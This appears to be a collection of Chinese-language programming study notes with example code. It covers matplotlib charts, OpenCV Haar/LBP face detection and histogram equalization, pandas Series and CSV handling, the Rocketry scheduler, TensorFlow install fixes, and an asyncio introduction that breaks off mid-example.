+plt.plot(num, earnnum, '--', label='商家收益')
+plt.plot(num, cusprice, label='顾客总消费')
+plt.plot(num, cusnum, ':', label='顾客省钱')
+plt.title('数量--金额关系图')
+# 求商场收益的最大值
+maxearn = max(earnnum)
+# 求商场收益最大值在earnnum中的位置。采用列表求索引的方法
+pos = list(earnnum).index(maxearn)
+# 用散点图标出商场收益的最大值
+plt.scatter(pos + 1, maxearn, marker='*', color='r', s=240)
+plt.legend()
+plt.show()
+
+
annotate(s='str',
+ xy=(x, y),
+ xytext=(l1, l2),
+ arrowprops=dict())
+
import matplotlib.pyplot as plt
+import numpy as np
+
+plt.rcParams['font.family'] = ['simhei']
+num = np.array(range(1, 31)) # 购买数量数据存储
+# 购买数量对应的优惠价
+price = 75
+wnum = np.array([price * (1 - 0.01 * i) for i in num])
+earnnum = (wnum - 49) * num # 商家收益数据
+cusprice = wnum * num # 顾客总消费
+cusnum = num * (price - wnum) # 顾客省钱
+plt.xlabel('顾客购买数量(件)')
+plt.ylabel('金额(元)')
+plt.plot(num, earnnum, '--', label='商家收益')
+plt.plot(num, cusprice, label='顾客总消费')
+plt.plot(num, cusnum, ':', label='顾客省钱')
+plt.title('数量--金额关系图')
+# 求商场收益的最大值
+maxearn = max(earnnum)
+# 求商场收益最大值在earnnum中的位置。采用列表求索引的方法
+pos = list(earnnum).index(maxearn)
+# 用散点图标出商场收益的最大值
+plt.scatter(pos + 1, maxearn, marker='*', color='r', s=240)
+plt.annotate(maxearn, xy=(pos + 1, maxearn + 40),
+ xytext=(pos, maxearn + 300),
+ arrowprops=dict(facecolor='blue',
+ shrink=5,
+ )
+ )
+plt.legend()
+plt.show()
+
+
import numpy as np
+import matplotlib.pyplot as plt
+
+plt.rcParams['font.family'] = ['simhei']
+# 数据存储
+month = np.array(range(1, 13)) # 存储月份
+man_d = [51, 32, 58, 57, 30, 46, 38, 38, 40, 53, 58, 50]
+woman_d = [70, 30, 48, 73, 82, 80, 43, 25, 30, 49, 79, 60]
+food_d = [60, 40, 46, 50, 57, 76, 70, 33, 70, 61, 49, 45]
+cos_d = [110, 75, 133, 80, 83, 95, 87, 89, 96, 88, 86, 89]
+gold_d = [143, 100, 89, 90, 78, 129, 100, 97, 108, 152, 96, 87]
+
+mo = [str(i) + '月' for i in range(1, 13)]
+
+plt.figure(figsize=(10, 5))
+plt.title('某商场各部门业绩(万元)')
+plt.xticks(month, mo)
+plt.xlabel('月份')
+plt.ylabel('营业额(万元)', labelpad=12)
+# 绘制折线
+plt.plot(month, food_d, linestyle='--', color='blue')
+plt.plot(month, man_d, color='r')
+plt.plot(month, woman_d, color='c', linestyle=':')
+plt.plot(month, cos_d, color='y')
+plt.plot(month, gold_d, linestyle='-.')
+# 添加图例
+plt.legend(['餐饮', '男装', '女装', '化妆品', '金银首饰'])
+
+plt.show()
+
+
import numpy as np
+import matplotlib.pyplot as plt
+
+plt.rcParams['font.family'] = ['simhei']
+# 数据存储
+month = np.array(range(1, 13)) # 存储月份
+man_d = [51, 32, 58, 57, 30, 46, 38, 38, 40, 53, 58, 50]
+woman_d = [70, 30, 48, 73, 82, 80, 43, 25, 30, 49, 79, 60]
+mo = [str(i) + '月' for i in range(1, 13)]
+plt.figure(figsize=(10, 5))
+plt.xticks(month, mo)
+plt.xlabel('月份')
+plt.ylabel('营业额(万元)', labelpad=12)
+plt.bar(month, man_d, 0.8, color='#FF00FF', label='男装', )
+plt.bar(month, woman_d, color='lightskyblue', label='女装')
+plt.title('某商场各部门业绩(万元)')
+plt.legend()
+plt.show()
+
+
import numpy as np
+import matplotlib.pyplot as plt
+
+plt.rcParams['font.family'] = ['simhei']
+plt.rcParams['axes.unicode_minus'] = False
+# 数据存储
+month = np.array(range(1, 13)) # 存储月份
+man_d = [51, 32, 58, 57, 30, 46, 38, 38, 40, 53, 58, 50]
+# 为了方便取每个数的负数,womana_d转换为数组
+woman_d = np.array([70, 30, 48, 73, 82, 80, 43, 25, 30, 49, 79, 60])
+mo = [str(i) + '月' for i in range(1, 13)]
+plt.figure(figsize=(10, 5))
+plt.xticks(month, mo)
+plt.xlabel('月份')
+plt.ylabel('营业额(万元)', labelpad=12)
+plt.bar(month, man_d, 0.8, color='#FF00FF', label='男装', )
+plt.bar(month, -woman_d, color='lightskyblue', label='女装')
+plt.title('某商场各部门业绩(万元)')
+plt.legend()
+plt.show()
+
+
import numpy as np
+import matplotlib.pyplot as plt
+
+plt.rcParams['font.family'] = ['simhei']
+plt.rcParams['axes.unicode_minus'] = False
+# 数据存储
+month = np.array(range(1, 13)) # 存储月份
+man_d = [51, 32, 58, 57, 30, 46, 38, 38, 40, 53, 58, 50]
+woman_d = [70, 30, 48, 73, 82, 80, 43, 25, 30, 49, 79, 60]
+mo = [str(i) + '月' for i in range(1, 13)]
+plt.figure(figsize=(10, 5))
+plt.xticks(month, mo)
+plt.xlabel('月份')
+plt.ylabel('营业额(万元)', labelpad=12)
+plt.bar(month - 0.4, man_d, 0.4, color='#FF00FF', label='男装', )
+plt.bar(month, woman_d, 0.4, color='lightskyblue', label='女装')
+plt.title('某商场各部门业绩(万元)')
+plt.legend()
+plt.show()
+
+
import numpy as np
+import matplotlib.pyplot as plt
+
+plt.rcParams['font.family'] = ['simhei']
+plt.rcParams['axes.unicode_minus'] = False
+# 数据存储
+month = np.array(range(1, 13)) # 存储月份
+man_d = [51, 32, 58, 57, 30, 46, 38, 38, 40, 53, 58, 50]
+woman_d = [70, 30, 48, 73, 82, 80, 43, 25, 30, 49, 79, 60]
+mo = [str(i) + '月' for i in range(1, 13)]
+plt.figure(figsize=(10, 5))
+plt.xticks(month, mo)
+plt.xlabel('月份')
+plt.ylabel('营业额(万元)', labelpad=12)
+plt.bar(month - 0.4, man_d, 0.4, color='#FF00FF', label='男装', )
+plt.bar(month, woman_d, 0.4, color='lightskyblue', label='女装')
+plt.title('某商场各部门业绩(万元)')
+plt.legend()
+
+for i, j in zip(month, man_d):
+ plt.text(i - 0.4, j/2, j, ha='center')
+ # i-0.4 :文字起始(左边沿)横坐标
+ # j/2 :文字起始(下边沿)纵坐标
+ # ha = 'center' : i-0.4作为文字的横向中点,文字均匀分布在i-0.4两侧
+ # j : 待绘制的文字/数值
+
+
+for i, j in zip(month, woman_d):
+ plt.text(i - 0.1, j - 10, j)
+plt.show()
+
+
for i, j in zip(month, man_d):
+ plt.text(i - 0.4, j/2, j, ha='center')
+
运行截图
import numpy as np
+import matplotlib.pyplot as plt
+
+plt.rcParams['font.family'] = ['simhei']
+# 数据存储
+month = np.array(range(1, 13)) # 存储月份
+man_d = [51, 32, 58, 57, 30, 46, 38, 38, 40, 53, 58, 50]
+woman_d = [70, 30, 48, 73, 82, 80, 43, 25, 30, 49, 79, 60]
+re_d = [60, 40, 46, 50, 57, 76, 70, 33, 70, 61, 49, 45]
+hua_d = [110, 75, 133, 80, 83, 95, 87, 89, 96, 88, 86, 89]
+gl_d = [143, 100, 89, 90, 78, 129, 100, 97, 108, 152, 96, 87]
+mo = [str(i) + '月' for i in range(1, 13)]
+plt.figure(figsize=(10, 5))
+plt.xticks(month, mo)
+plt.xlabel('月份')
+plt.ylabel('营业额(万元)', labelpad=12)
+plt.bar(month - 0.1, re_d, 0.1)
+plt.bar(month, man_d, 0.1, color='r')
+plt.bar(month + 0.1, woman_d, 0.1, color='b')
+plt.bar(month + 0.2, hua_d, 0.1)
+plt.bar(month + 0.3, gl_d, 0.1)
+plt.title('某商场各部门业绩(万元)')
+plt.legend(['餐饮', '男装', '女装', '化妆品', '金银首饰'])
+plt.show()
+
+
import numpy as np
+import matplotlib.pyplot as plt
+
+plt.rcParams['font.family'] = ['simhei']
+# 数据存储
+month = np.array(range(1, 13)) # 存储月份
+man_d = [51, 32, 58, 57, 30, 46, 38, 38, 40, 53, 58, 50]
+woman_d = [70, 30, 48, 73, 82, 80, 43, 25, 30, 49, 79, 60]
+re_d = [60, 40, 46, 50, 57, 76, 70, 33, 70, 61, 49, 45]
+hua_d = [110, 75, 133, 80, 83, 95, 87, 89, 96, 88, 86, 89]
+gl_d = [143, 100, 89, 90, 78, 129, 100, 97, 108, 152, 96, 87]
+mo = [str(i) + '月' for i in range(1, 13)]
+
+plt.figure(figsize=(10, 6))
+plt.ylim(0, 13)
+plt.yticks(month, mo)
+plt.ylabel('月份')
+plt.xlabel('营业额(万元)', labelpad=12)
+plt.barh(month - 0.2, re_d, 0.2, color='pink')
+plt.barh(month, man_d, 0.2, color='r')
+plt.barh(month + 0.2, woman_d, 0.2, color='c')
+plt.barh(month + 0.4, hua_d, 0.2, color='yellow')
+plt.barh(month + 0.6, gl_d, 0.2, color='blue')
+plt.title('某商场各部门业绩(万元)')
+plt.legend(['餐饮', '男装', '女装', '化妆品', '金银首饰'])
+plt.show()
+
+
import matplotlib.pyplot as plt
+import random
+
+plt.rcParams['font.family'] = ['simhei']
+# random.seed(30)
+# 随机生成30位学生的考试成绩
+stu_s = [random.randint(40, 100) for i in range(30)]
+grade = {'0-49': 0,
+ '50-59': 0,
+ '60-69': 0,
+ '70-79': 0,
+ '80-89': 0,
+ '90-100': 0}
+
+plt.figure(figsize=(10, 6))
+plt.title('学生成绩分段统计图')
+plt.ylabel('学生成绩分段人数')
+plt.xlabel('分数段')
+
+for i in stu_s:
+ if i <= 49:
+ s = '0-49'
+ grade[s] = grade.get(s, 0) + 1
+ elif i <= 59:
+ s = '50-59'
+ grade[s] = grade.get(s, 0) + 1
+ elif i <= 69:
+ s = '60-69'
+ grade[s] = grade.get(s, 0) + 1
+ elif i <= 79:
+ s = '70-79'
+ grade[s] = grade.get(s, 0) + 1
+ elif i <= 89:
+ s = '80-89'
+ grade[s] = grade.get(s, 0) + 1
+ else:
+ s = '90-100'
+ grade[s] = grade.get(s, 0) + 1
+
+gr1_name = list()
+gr1_data = list()
+for i in grade:
+ gr1_name.append(i)
+ gr1_data.append(grade[i])
+gr1 = range(len(gr1_name))
+plt.xticks(gr1, gr1_name)
+plt.bar(gr1_name, gr1_data, 0.6, color='c')
+for x, y in zip(gr1_name, gr1_data):
+ plt.text(x, y + 0.1, str(y))
+
+plt.show()
+
+
+
cv2.CascadeClassifier
CascadeClassifier
,是 Opencv 中做人脸检测的时候的一个级联分类器。并且既可以使用 Haar,也可以使用 LBP 特征。
Haar
Haar 特征是一种反映图像的灰度变化的,像素分模块求差值的一种特征。
它分为三类:边缘特征
、线性特征
、中心特征和对角线特征
。
用黑白两种矩形框组合成特征模板,在特征模板内用 黑色矩形像素和 减去 白色矩形像素和来表示这个模版的特征值。
LBP
LBP特征原理@SnailTyan
[写完才发现全摘录了,建议直接阅读原文,原文评论区有不少相关讨论
]
LBP
特征的背景介绍LBP 指局部二值模式,英文全称:Local Binary Pattern,是一种用来描述图像局部特征的算子;
LBP 特征具有灰度不变性和旋转不变性等显著优点。由 T.Ojala, M.Pietikäinen, 和 D.Harwood 在1994年提出;
由于 LBP 特征计算简单、效果较好,因此 LBP 特征在计算机视觉的许多领域都得到了广泛的应用,LBP 特征比较出名的应用是用在人脸识别和目标检测中,在计算机视觉开源库 Opencv 中有使用 LBP 特征进行人脸识别的接口,也有用 LBP 特征训练目标检测分类器的方法,Opencv 实现了 LBP 特征的计算,但没有提供一个单独的计算 LBP 特征的接口。
1.原始LBP特征描述及计算方法
PS : 计算 LBP 特征的图像必须是灰度图,如果是彩色图,需要先转换成灰度图。
上述过程用图像表示为:
将上述过程用公式表示为:
为中心像素的坐标
p 为邻域的第 p 个像素
ip 为邻域像素的灰度值
ic 为中心像素的灰度值
s(x) 为符号函数
原始LBP特征计算代码(Opencv下)
//原始LBP特征计算
+template <typename _tp>
+void getOriginLBPFeature(InputArray _src,OutputArray _dst)
+{
+ Mat src = _src.getMat();
+ _dst.create(src.rows-2,src.cols-2,CV_8UC1);
+ Mat dst = _dst.getMat();
+ dst.setTo(0);
+ for(int i=1;i<src.rows-1;i++)
+ {
+ for(int j=1;j<src.cols-1;j++)
+ {
+ _tp center = src.at<_tp>(i,j);
+ unsigned char lbpCode = 0;
+ lbpCode |= (src.at<_tp>(i-1,j-1) > center) << 7;
+ lbpCode |= (src.at<_tp>(i-1,j ) > center) << 6;
+ lbpCode |= (src.at<_tp>(i-1,j+1) > center) << 5;
+ lbpCode |= (src.at<_tp>(i ,j+1) > center) << 4;
+ lbpCode |= (src.at<_tp>(i+1,j+1) > center) << 3;
+ lbpCode |= (src.at<_tp>(i+1,j ) > center) << 2;
+ lbpCode |= (src.at<_tp>(i+1,j-1) > center) << 1;
+ lbpCode |= (src.at<_tp>(i ,j-1) > center) << 0;
+ dst.at<uchar>(i-1,j-1) = lbpCode;
+ }
+ }
+}
+
测试结果:
原博主测测试结果, 我个人用的 OpenCV-python 没做测试
2.LBP 特征的改进版本
save, 留个眼[bookmark]在这里, 先写其他的了
detectMultiScale()
void detectMultiScale(
+ // 待检测图像
+ const Mat& image,
+ // 被检测物体的矩形框向量
+ CV_OUT vector & objects,
+ // 前后两次相继的扫描中搜索窗口的比例系数,默认为 1.1 即每次搜索窗口扩大 10%
+ double scaleFactor = 1.1,
+ /*构成检测目标的相邻矩形的最小个数
+ 如果组成检测目标的小矩形的个数和
+ 小于 minneighbors - 1 都会被排除
+ 如果 minneighbors为 0
+ 则函数不做任何操作就返回所有被检候选矩形框
+ */
+ int minNeighbors = 3,
+ // 若设置为 CV_HAAR_DO_CANNY_PRUNING 函数将会使用 Canny 边缘检测来排除边缘过多或过少的区域
+ int flags = 0,
+ // 最后两个参数用来限制得到的目标区域的范围
+ Size minSize = Size(),
+ Size maxSize = Size()
+ );
+
falgs
CV_HAAR_DO_CANNY_PRUNING
: 利用Canny边缘检测器来排除一些边缘很少或者很多的图像区域CV_HAAR_SCALE_IMAGE
: 按比例正常检测CV_HAAR_FIND_BIGGEST_OBJECT
: 只检测最大的物体CV_HAAR_DO_ROUGH_SEARCH
: 只做初略检测对一幅低对比度分辨率的图像采用直方图均衡化和规定化方法实现图像增强,分别采用系统函数和自己编写函数实现相应用功能。
直方图
: 简单来说,直方图就是图像中每个像素值的个数统计形成的柱状图
OpenCV中直方图计算
cv2.calcHist(images, channels, mask, histSize, ranges)
+
images
: 要计算的原图,以方括号的传入,如:[img]
channels
: 类似dims,灰度图写[0]就行,彩色图B/G/R分别传入[0]/[1]/[2]
dims
: 要计算的通道数,对于灰度图dims=1,普通彩色图dims=3mask
: 要计算的区域,计算整幅图的话,写None
histSize
: 子区段数目,如果我们统计0~255每个像素值histSize=256;如果划分区间,比如0~15, 16~31…240~255这样16个区间,histSize=16
ranges
: 要计算的像素值范围,一般为[0,256)
绘制直方图
import cv2
+ import matplotlib.pyplot as plt
+
+ img = cv2.imread('../resource/pic/lena_low_quality.jpg')
+ plt.hist(img.ravel(), 256, [0, 256])
+ plt.show()
+
可以看出,这个图像确实有够糊的
直方图均衡化
一副效果好的图像通常在直方图上的分布比较均匀,直方图均衡化就是用来改善图像的全局亮度和对比度。
import cv2
+import numpy as np
+import matplotlib.pyplot as plt
+
+img = cv2.imread('../resource/pic/lena_low_quality.jpg', 0)
+
+# 1.直方图计算
+# 使用OpenCV函数计算
+hist = cv2.calcHist([img], [0], None, [256], [0, 256]) # 性能:0.022158 s
+
+# 2.绘制直方图
+plt.hist(img.ravel(), 256, [0, 256])
+plt.show()
+
+# 3.直方图均衡化
+equ = cv2.equalizeHist(img)
+cv2.imshow('equalization', np.hstack((img, equ))) # 并排显示
+cv2.waitKey(0)
+
+# 绘制出均衡化后的直方图
+plt.hist(equ.ravel(), 256, [0, 256])
+plt.show()
+
+
自己编写函数实现相应用功能
import cv2
+import numpy as np
+import matplotlib.pyplot as plt
+
+
+# 直方图均衡化
+def hist_equal(image, z_max=255):
+ H, W = image.shape
+ S = H * W * 1.
+ out = image.copy()
+ sum_h = 0.
+
+ for i in range(1, 255):
+ ind = np.where(image == i)
+
+ sum_h += len(image[ind])
+
+ z_prime = z_max / S * sum_h
+
+ out[ind] = z_prime
+
+ out = out.astype(np.uint8)
+
+ return out
+
+
+img = cv2.imread("../resource/pic/lena_low_quality.jpg", 0).astype(np.float)
+out = hist_equal(img)
+# 显示直方图
+plt.hist(out.ravel(), bins=255, rwidth=0.8, range=(0, 255))
+plt.show()
+# 显示处理后的图像
+cv2.imshow("result", out)
+cv2.waitKey(0)
+cv2.destroyAllWindows()
+
a = pd.Series([23, 54, 32, 65, 87, 54])
+# print(a)
+0 23
+1 54
+2 32
+3 65
+4 87
+5 54
+dtype: int64
+
b = pd.Series([23, 54, 32, 65, 87, 54],
+ index=[chr(i + ord('A')) for i in range(6)])
+# 输出b
+A 23
+B 54
+C 32
+D 65
+E 87
+F 54
+dtype: int64
+
from pandas import Series
+import numpy as np
+
+# 1.使用列表创建Series
+s1 = Series([1, 2, 3, 4])
+# 2. 使用range创建Series
+s2 = Series(range(3))
+# 3.使用numpy一维数组创建Series
+s3 = Series(np.array([1, 2, 3, 4]))
+s4 = Series(np.arange(6, 10))
+# 4.使用字典创建Series,其中字典的键,就是索引
+s5 = Series({'语文': 90, '数学': 87})
+# 创建Series时不指定索引,默认生成从0开始的序列,也可自行指定索引
+s6 = Series([12, 3, 4], index=['A', 'B', 'C'])
+s7 = Series([12.3, 34.5, 3.6, ], ['I', 'II', 'III'])
+print("s1 = Series([1, 2, 3, 4]):\n{0}\n"
+ "s2 = Series(range(3)):\n{1}\n"
+ "s3 = Series(np.array([1, 2, 3, 4])):\n{2}\n"
+ "s4 = Series(np.arange(6, 10)):\n{3}\n"
+ .format(s1, s2, s3, s4))
+print(r"s5 = Series({'语文': 90, '数学': 87}):")
+print(s5)
+print("s6 = Series([12, 3, 4], index=['A', 'B', 'C']):\n{0}"
+ "s7 = Series([12.3, 34.5, 3.6, ], ['I', 'II', 'III']):\n{0}"
+ .format(s6, s7))
+
+
+# 运行结果
+s1 = Series([1, 2, 3, 4]):
+0 1
+1 2
+2 3
+3 4
+dtype: int64
+s2 = Series(range(3)):
+0 0
+1 1
+2 2
+dtype: int64
+s3 = Series(np.array([1, 2, 3, 4])):
+0 1
+1 2
+2 3
+3 4
+dtype: int32
+s4 = Series(np.arange(6, 10)):
+0 6
+1 7
+2 8
+3 9
+dtype: int32
+
+s5 = Series({'语文': 90, '数学': 87}):
+语文 90
+数学 87
+dtype: int64
+s6 = Series([12, 3, 4], index=['A', 'B', 'C']):
+A 12
+B 3
+C 4
+dtype: int64s7 = Series([12.3, 34.5, 3.6, ], ['I', 'II', 'III']):
+A 12
+B 3
+C 4
+dtype: int64
+
from pandas import Series
+
+s1 = Series(range(4))
+s2 = Series({'语文': 90, '数学': 87, '英语': 67, '程序设计': 78})
+s3 = Series({'语文': 20, '数学': 80, '英语': 67, '程序设计': 78, 'w': 23})
+print("s1:\n{0}\ns2:\n{1}\ns3:\n{2}".format(s1, s2, s3))
+s1:
+0 0
+1 1
+2 2
+3 3
+dtype: int64
+s2:
+语文 90
+数学 87
+英语 67
+程序设计 78
+dtype: int64
+s3:
+语文 20
+数学 80
+英语 67
+程序设计 78
+w 23
+dtype: int64
+
print("s2 - s3:\n{0}\ns2 + s3:\n{1}\ns2 * s3:\n{2}\ns2 / s3:\n{3}".format(s2 - s3, s2 + s3, s2 * s3, s2 / s3))
+
NotANumber
print("s1+s2:\n{0}".format(s1 + s2))
+
print("s3*2:\n{0}\ns3**0.5:\n{1}".format(s3 * 2, s3 ** 0.5))
+
print("\ns2[s2 >= 80]:\n{0}".format(s2[s2 >= 80]))
+
print("\ns3.median():\n{0}".format(s3.median()))
+
print('\ns2.nsmallest(1):\n', s2.nsmallest(1))
+
print('s2.nlargest(1):\n', s2.nlargest(1))
+
from pandas import Series
+
+s1 = Series(range(1, 11))
+s2 = Series({'语文': 90, '数学': 87, '英语': 67, '程序设计': 78})
+
print("s1[4] : {0}\ns2['英语'] : {1}".format(s1[4], s2['英语']))
+print("s1[1:4]:\n{0}\n"
+ "s2[1:3]:\n{1}".format(s1[1:4], s2[1:3]))
+
s2['程序设计'] = 89
+print("s2:\n{0}".format(s2))
+
二维数据,类似于二维表格,由多行多列组成。
read_csv to_csv
+read_excel to_excel
+read_json to_json
+read_sql to_sql
+read_pickle to_pickle
+read_html to_html
+... ... ... ...
+
student.csv
姓名,数学,程序设计,英语
+张一,56,94,45
+王宏,76,77,90
+李玉,45,87,77
+吴苛左,87,55,89
+季晶,45,95,75
+五一,83,77,93
+李言,87,45,99
+于旧,92,75,34
+王工,97,67,56
+才一,56,73,78
+于旧,92,75,34
+
import pandas as pd
+import os
+
+file_path = os.path.abspath(os.path.join(os.path.dirname(__file__), './res/files/prog/student.csv'))
+stu = pd.read_csv(file_path,
+ sep=',', # 指定分隔符
+ delimiter=',', # 分隔符
+ encoding='utf-8',
+ header=[0], # 指定行数用来作为列名,默认第一行为列名
+ index_col=0, # 指定列编号或者列名为索引
+ skiprows=None, # 需要忽略的行数(从文件开始处算起)
+ )
+print(stu)
+
+# 运行结果
+ 数学 程序设计 英语
+姓名
+张一 56 94 45
+王宏 76 77 90
+李玉 45 87 77
+吴苛左 87 55 89
+季晶 45 95 75
+五一 83 77 93
+李言 87 45 99
+于旧 92 75 34
+王工 97 67 56
+才一 56 73 78
+于旧 92 75 34
+
xlsx
pip uninstall xlrd
+
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple xlrd==1.2.0
+
import pandas as pd
+import os
+
+file_path = os.path.abspath(os.path.join(os.path.dirname(__file__), './res/files/prog/student.csv'))
+file_path_save = os.path.abspath(os.path.join(os.path.dirname(__file__), './res/files/prog/student1.csv'))
+
+stu = pd.read_csv(file_path,
+ sep=',', # 指定分隔符
+ delimiter=',', # 分隔符
+ encoding='utf-8',
+ header=[0], # 指定行数用来作为列名,默认第一行为列名
+ index_col=0, # 指定列编号或者列名为索引
+ skiprows=None, # 需要忽略的行数(从文件开始处算起)
+ )
+print(stu)
+stu.to_csv(file_path_save,
+ sep=',', # 指定分隔符
+ encoding='utf-8',
+ header=False, # 表示是否写入数据中的列名,默认为False
+ index=0, # 表示是否将行索引写入文件,默认为True
+ )
+print(stu)
+
+
[Python] - 图像处理 ------ img.convert()@Exler_yz
是图像实例对象的一个方法,接受一个 mode 参数,用以指定一种色彩模式
mode
(function) new: (mode: str, size: _Size, color: str | Tuple[int, ...] | None = ...) -> Image
+Creates a new image with the given mode and size.
+
+:param mode: The mode to use for the new image.
+:param size: A 2-tuple, containing (width, height) in pixels.
+:param color: What color to use for the image. Default is black.
+ If given, this should be a single integer or floating point value for single-band modes, and a tuple for multi-band modes (one value per band). When creating RGB images, you can also use color strings as supported by the ImageColor module. If the color is None, the image is not initialised.
+:returns: An ~PIL.Image.Image object.
+
Miksus/rocketry: Modern scheduling library for Python (github.com)
Rocketry is a modern statement-based scheduling framework for Python. It is simple, clean and extensive. It is suitable for small and big projects.
pip install rocketry
+
from rocketry import Rocketry
+from rocketry.conds import secondly
+
+app = Rocketry()
+
+@app.task(secondly)
+def do_daily():
+ print('Doing daily task')
+
+if __name__ == '__main__':
+ app.run()
+
+
除了这种基本的用法, 还可以给任务的执行加上其他自定义条件, 比如:
from rocketry import Rocketry
+from rocketry.conds import daily, time_of_week
+from pathlib import Path
+
+app = Rocketry()
+
+@app.cond()
+def file_exists(file):
+ return Path(file).exists()
+
+@app.task(daily.after("08:00") & file_exists("start.py"))
+def do_work():
+ print('Doing work')
+
+app.run()
+
官网提供的更多示例:
from rocketry.conds import daily, after_success
+from rocketry.args import Return
+
+@app.task(daily.after("07:00"))
+def do_first():
+ ...
+ return 'Hello World'
+
+@app.task(after_success(do_first))
+def do_second(arg=Return('do_first')):
+ # arg contains the value of the task do_first's return
+ ...
+ return 'Hello Python'
+
from rocketry.conds import daily
+
+@app.task(daily, execution="main")
+def do_unparallel():
+ ...
+
+@app.task(daily, execution="async")
+async def do_async():
+ ...
+
+@app.task(daily, execution="thread")
+def do_on_separate_thread():
+ ...
+
+@app.task(daily, execution="process")
+def do_on_separate_process():
+ ...
+
@app.task('every 10 seconds')
+def do_constantly():
+ ...
+
+@app.task('every 1 minute')
+def do_minutely():
+ ...
+
+@app.task('every 1 hour')
+def do_hourly():
+ ...
+
+@app.task('every 1 day')
+def do_daily():
+ ...
+
+@app.task('every 2 days 2 hours 20 seconds')
+def do_custom():
+ ...
+
@app.task('minutely')
+def do_minutely():
+ ...
+
+@app.task('hourly')
+def do_hourly():
+ ...
+
+@app.task('daily')
+def do_daily():
+ ...
+
+@app.task('weekly')
+def do_weekly():
+ ...
+
+@app.task('monthly')
+def do_monthly():
+ ...
+
@app.task("minutely before 45")
+def do_minutely():
+ ...
+
+@app.task("hourly after 45:00")
+def do_hourly():
+ ...
+
+@app.task("daily between 08:00 and 14:00")
+def do_daily():
+ ...
+
+@app.task("weekly on Monday")
+def do_weekly():
+ ...
+
+@app.task("monthly starting 3rd")
+def do_monthly():
+ ...
+
@app.task('time of day between 10:00 and 18:00')
+def do_constantly_during_day():
+ ...
+
+@app.task('time of week between Saturday and Sunday')
+def do_constantly_during_weekend():
+ ...
+
app = Rocketry(execution="async")
+
+@app.task("daily")
+def do_main():
+ ...
+
PS: 因为描述都比较明确, 能看出大致用法, 所以贴上来了, 等到后面再结合具体使用场景进行记录
from rocketry.conds import cron
+
+@app.task(cron('* * * * *'))
+def do_minutely():
+ ...
+
+@app.task(cron('*/2 12-18 * Oct Fri'))
+def do_complex():
+ "Run at every 2nd minute past every hour from 12 through 18 on Friday in October."
+ ...
+
pydantic.errors.PydanticUserError: const is removed, use Literal instead
Pydantic v2 support · Issue #210 · Miksus/rocketry (github.com)
from rocketry import Rocketry
+
报错 pydantic.errors.PydanticUserError: const is removed, use Literal instead
可能是因为当前 Rocketry 不兼容 Pydantic2, 可以指定 Pydantic 版本为 1.10.10
以解决此问题
pip install pydantic==1.10.10
+
TensorFlow
安装的时候需要装dll
,因此不可以通过直接拷贝别人装好的的site-packages/TensorFlow...
来安装pip install TensorFlow --user --no-warn-script-location
+
--user
: pip 默认安装 package 到 system directory, 通过 --user 可以将 package 安装到 /home 路径下--no-warn-script-location
: 忽略脚本警告TensorFlow
时经常超时,可以使用阿里的源pip install TensorFlow --user --no-warn-script-location -i https://mirrors.aliyun.com/pypi/simple/
+
TensorFlow
与 keras
以及 python
版本要相匹配 TensorFlow2.2.0
适配 keras2.3.1
+ python3.7.
from keras.engine.saving
+
keras2.2.4
对应 python3.6.
, tensorflow 1.13.0
安装时可以pip install TensorFlow==1.13.1 --user --no-warn-script-location -i https://mirrors.aliyun.com/pypi/simple/
+
pip install keras==2.2.4 --user --no-warn-script-location -i https://mirrors.aliyun.com/pypi/simple/
+
==1.13.0
会报错找不到相应版本,因此这里安装1.13.1
ModuleNotFoundError: No module named 'numpy.core._multiarray_umath'
numpy
版本 1.14.6 ~ 1.17.2
tensorflow1.13.1
要求的 numpy >= 1.13.3
numpy==1.15.0
测试成功ImportError: cannot import name '_ccallback_c'
scipy==1.4.0
pip install TensorFlow==1.13.1 --user --no-warn-script-location -i https://mirrors.aliyun.com/pypi/simple/
+
+pip install keras==2.2.4 --user --no-warn-script-location -i https://mirrors.aliyun.com/pypi/simple/
+
+pip install opencv-python -i https://mirrors.aliyun.com/pypi/simple/
+
+pip install matplotlib -i https://mirrors.aliyun.com/pypi/simple/
+
+pip install Pillow -i https://mirrors.aliyun.com/pypi/simple/
+
+
原文链接(几乎完全照搬了内容)-Python 异步编程入门 - 阮一峰的网络日志 (ruanyifeng.com)
历史上,Python 并不支持专门的异步编程语法,因为不需要。
有了多线程(threading
)和多进程(multiprocessing
),就没必要一定支持异步了。如果一个线程(或进程)阻塞,新建其他线程(或进程)就可以了,程序不会卡死。
但是,多线程有 "线程竞争" 的问题,处理起来很复杂,还涉及加锁。对于简单的异步任务来说(比如与网页互动),写起来很麻烦。
Python 3.4 引入了 asyncio
模块,增加了异步编程,跟 JavaScript 的async/await
极为类似,大大方便了异步任务的处理。它受到了开发者的欢迎,成为从 Python 2 升级到 Python 3 的主要理由之一。
asyncio
模块最大特点就是,只存在一个线程,跟 JavaScript 一样。
由于只有一个线程,就不可能多个任务同时运行。asyncio 是"多任务合作"模式(cooperative multitasking),允许异步任务交出执行权给其他任务,等到其他任务完成,再收回执行权继续往下执行,这跟 JavaScript 也是一样的。
由于代码的执行权在多个任务之间交换,所以看上去好像多个任务同时运行,其实底层只有一个线程,多个任务分享运行时间。
表面上,这是一个不合理的设计,明明有多线程多进程的能力,为什么放着多余的 CPU 核心不用,而只用一个线程呢?但是就像前面说的,单线程简化了很多问题,使得代码逻辑变得简单,写法符合直觉。
asyncio 模块在单线程上启动一个事件循环(event loop),时刻监听新进入循环的事件,加以处理,并不断重复这个过程,直到异步任务结束。事件循环的内部机制,可以参考 JavaScript 的模型,两者是一样的。
下面介绍 asyncio
模块最主要的几个API。注意,必须使用 Python 3.7 或更高版本,早期的语法已经变了。
第一步,import
加载 asyncio
模块。
import asyncio
+
第二步,函数前面加上 async
关键字,就变成了 async 函数。这种函数最大特点是执行可以暂停,交出执行权。
async def main():
+
第三步,在 async 函数内部的异步任务前面,加上await
命令。
await asyncio.sleep(1)
+
上面代码中,asyncio.sleep(1)
方法可以生成一个异步任务,休眠1秒钟然后结束。
执行引擎遇到await
命令,就会在异步任务开始执行之后,暂停当前 async 函数的执行,把执行权交给其他任务。等到异步任务结束,再把执行权交回 async 函数,继续往下执行。
第四步,async.run()
方法加载 async 函数,启动事件循环。
asyncio.run(main())
+
上面代码中,asyncio.run()
在事件循环上监听 async 函数main
的执行。等到 main
执行完了,事件循环才会终止。
下面是 async 函数的例子,新建一个脚本async.py
,代码如下。
#!/usr/bin/env python3
+# async.py
+
+import asyncio
+
+async def count():
+ print("One")
+ await asyncio.sleep(1)
+ print("Two")
+
+async def main():
